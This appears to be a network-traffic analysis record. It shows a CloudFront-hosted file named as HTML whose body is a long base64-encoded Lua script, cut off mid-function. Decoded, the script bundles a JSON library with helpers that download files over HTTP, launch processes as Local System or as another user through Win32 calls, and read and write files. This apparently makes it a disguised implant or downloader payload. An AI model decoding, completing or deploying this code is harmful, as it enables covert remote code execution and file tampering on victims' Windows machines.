dq7lo1d0bbd2n.cloudfront.net (54.230.95.102:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
9 | /v2/tfn5306351516.html(8) | text/html | tfn5306351516.html(8) | 200 OK | TEXT | 46.2 KB | 02/04/89 06:47:18 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
